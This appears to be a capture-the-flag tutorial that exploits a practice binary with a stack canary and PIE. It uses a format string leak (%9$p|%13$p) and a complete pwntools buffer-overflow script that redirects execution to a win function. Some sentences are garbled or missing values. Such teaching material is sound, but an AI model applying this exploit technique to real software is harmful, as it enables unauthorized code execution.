We are now challenged with combining the last two protections: PIE and Canary. This won't be a super challenging task, but it will require meticulous searching to ensure we get all the necessary information to defeat all protections.
As always, we must ensure that a buffer overflow vulnerability exists. From checking the disassembly and finding the input functions, we see the second fgets is vulnerable:
0x00000000000016d9 <+405>: lea rax,[rbp-0x20] 0x00000000000016dd <+409>: mov esi,0x48 0x00000000000016e2 <+414>: mov rdi,rax 0x00000000000016e5 <+417>: call 0x1090 <fgets@plt>
We are writing 0x48 bytes a 0x18 byte region.
0x8. Therefore, our region size will prove to be 0x18.Still confused? Keep reading and see when we find the canary.
Because of both the canary and PIE, we need at least one format string vulnerability. We see that the following printf statement uses our buffer (the one we change) as the first parameter:
0x00000000000016ad <+361>: lea rax,[rbp-0x20] 0x00000000000016b1 <+365>: mov rdi,rax 0x00000000000016b4 <+368>: mov eax,0x0 0x00000000000016b9 <+373>: call 0x1080 <printf@plt>
Therefore, we have a format string bug. This means we've met the necessary pre-conditions to exploit this binary.
We need to gather two pieces of information: an address from the stack (to beat PIE) and the canary's offset from rsp.
We know the canary should be at rbp-0x8 since it usually sits just before the sensitive data (rbp and the return address). We can confirm that in two places:
0x000000000000154c <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001555 <+17>: mov QWORD PTR [rbp-0x8],rax OR 0x000000000000173d <+505>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000001741 <+509>: sub rdx,QWORD PTR fs:0x28
The $fs register stores global threaded values (like the canary), so this makes sense. Additionally, the second block of instructions is compared, and if not equal, __stack_chk_fail@plt is called.
How far is this from rsp? We know the stack frame is 0x20 bytes from the function prologue. Therefore, rsp = rbp - 0x20.
Doing the math, we get that there are . Since the first parameter on the stack is offset 6, our canary can be found using %9$p.
rsp can cause this to be off by one or two.We must find an address on the stack. Our typical go-to is the return pointer because we can easily compute where that instruction is on the stack. However, we're inside main! The return pointer main uses will take it to another function, __libc_start_call_main, which is inside libc. There's no reason for any other instructions to be on the stack. Moreover, we haven't seen any global variables, so we argue we probably wouldn't see those either. What can we do?
Don't worry; we have a way out! The trick is that __libc_start_main, the function calling __libc_start_call_main, pushes the address of main onto the stack.
x64, x86 was the primary architecture used. In x86, parameters are passed on the stack rather than via the registers.__libc_start_main takes the address of main as its first parameter. If you're interested in the full signature plus what it does, this page is a good place to start. x64 matched the convention of main being pushed on the stack to help developers debug their x64 programs. When PIE is enabled, it gives them a clear view of the address of main to reference the rest of their program.
This article is a good resource for learning about how ELF programs are started. Note that this describes an x86 startup; however, most of it is the same. If you read this article, I recommend you follow along in gdb. Use b _start to set a breakpoint at the program's entry point and follow along!
This will happen at the same location for any x64 executable: $rbp+0x18 (where rbp represents the base of main's stack frame). This is extremely useful for us and always provides a way to beat PIE! If there is a format string, we can always beat PIE.
We can follow the formula above to compute the format string offset for this value.
Therefore, we can use %13$p to leak the address of main.
We will follow the Pwntools scripting we used in the last challenge rather than manually finding the offsets.
First, we'll need to decide how to send the format string. We only get one chance to send a format string, and we must collect both the canary and the PIE leak. We need to carefully decide our format string to make parsing easier later.
I chose %9$p|%13$p for my format string. Why? I chose a delimiter that's not inside the output to easily find my leaks. I'll use the same code to receive the output, but then I'll need to split my output to get each leak.
., |, or spaces. In this case, I don't want periods because there already are plenty of those in the output. There are also plenty of spaces.Note that it's not a good idea to have no delimiter because it makes splitting the canary from the PIE leak more difficult.
First, I'll establish the ELF class and the process.
from pwn import * elf = context.binary = ELF('./chall') p = process()
Then, I'll send off the format string.
p.sendline(b'%9$p|%13$p')
Then, I need to receive the leak. I'll receive everything before the leak, then grab the leak. Once I have the leak, I'll split by | to get both parts.
p.recvuntil(b'Welcome back, ') leaks = p.recvuntil(b'.', drop=True).decode().split('|') # leaks = [canary leak, PIE leak]
Then, I need to set elf.address. The PIE leak was the second format string, so it's the second item in the list. Remember that leaks still hold strings, so we need to convert them to integers and then subtract their offsets.
elf.address = int(leaks[1], 16) - elf.sym.main
Now, we can craft the payload. It's a standard canary payload from here!
payload = b'A' * 24 payload += p64(int(leaks[0], 16)) # canary payload += b'B' * 8 payload += p64(elf.sym.win) # updated address of win
Then, send it off!
p.sendline(payload) p.interactive()
This successfully gets us our flag!
